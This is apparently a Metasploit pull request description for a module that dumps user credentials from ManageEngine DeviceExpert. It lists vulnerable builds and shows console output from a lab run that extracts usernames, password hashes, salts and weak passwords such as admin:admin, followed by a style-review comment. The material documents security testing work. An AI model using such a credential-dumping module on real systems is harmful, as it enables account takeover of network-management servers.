Add ManageEngine DeviceExpert User Credentials

Homepage: http://www.manageengine.com/products/device-expert/

Download:
* [5.8 build 5850](http://web.archive.org/web/20130123070454/http://www.manageengine.com/products/device-expert/download.html)
* [5.9 build 5900](http://web.archive.org/web/20130304043822/http://www.manageengine.com/products/device-expert/download.html)
* [5.9 build 5950](http://web.archive.org/web/20131029082827/http://www.manageengine.com/products/device-expert/download.html)

Tested on:
* ManageEngine DeviceExpert 5.9.7 build 5970 on Win XP SP3.


Output:

```
msf auxiliary(manageengine_deviceexpert_user_creds) > check
[+] 172.16.251.129:6060 - The target is vulnerable.
msf auxiliary(manageengine_deviceexpert_user_creds) > set verbose true
verbose => true
msf auxiliary(manageengine_deviceexpert_user_creds) > check

[*] 172.16.251.129:6060 - Reading users from master...
[+] 172.16.251.129:6060 - Found 4 users
[+] 172.16.251.129:6060 - The target is vulnerable.
msf auxiliary(manageengine_deviceexpert_user_creds) > run

[*] 172.16.251.129:6060 - Reading users from master...
[+] 172.16.251.129:6060 - Found 4 users
[*] 172.16.251.129:6060 - Parsing user data...
[*] 172.16.251.129:6060 - Found weak credentials (admin:admin)
[*] 172.16.251.129:6060 - Found weak credentials (test:password)
[*] 172.16.251.129:6060 - Found weak credentials (testuser:testuser)

ManageEngine DeviceExpert User Credentials
==========================================

 Username  Password Hash                     Role           E-mail                Password Salt
 --------  -------------                     ----           ------                -------------
 admin     3a4ebf16a4795ad258e5408bae7be341  Administrator  noreply@zohocorp.com  12345678
 asdf      42296e193ed491b68225b749f02839e3  PowerUser      asdf@localhost        1410975947380
 test      62bb8d1493ee269a304367e4dd2ab706  Operator       test@localhost        1410978290271
 testuser  3b0a4e066e40d1f4520400e1fec2be2f  Administrator  testuser@localhost    1410978655084

[*] Credentials saved in: /root/.msf4/loot/20140917145940_default_172.16.251.129_manageengine.dev_908964.txt
[*] Auxiliary module execution completed
msf auxiliary(manageengine_deviceexpert_user_creds) > cat /root/.msf4/loot/20140917145940_default_172.16.251.129_manageengine.dev_908964.txt
[*] exec: cat /root/.msf4/loot/20140917145940_default_172.16.251.129_manageengine.dev_908964.txt

Username,Password Hash,Role,E-mail,Password Salt
"admin","3a4ebf16a4795ad258e5408bae7be341","Administrator","noreply@zohocorp.com","12345678"
"asdf","42296e193ed491b68225b749f02839e3","PowerUser","asdf@localhost","1410975947380"
"test","62bb8d1493ee269a304367e4dd2ab706","Operator","test@localhost","1410978290271"
"testuser","3b0a4e066e40d1f4520400e1fec2be2f","Administrator","testuser@localhost","1410978655084"
```

Please use parenthesis around parameters according to the ruby style guide: https://github.com/bbatsov/ruby-style-guide#no-dsl-parens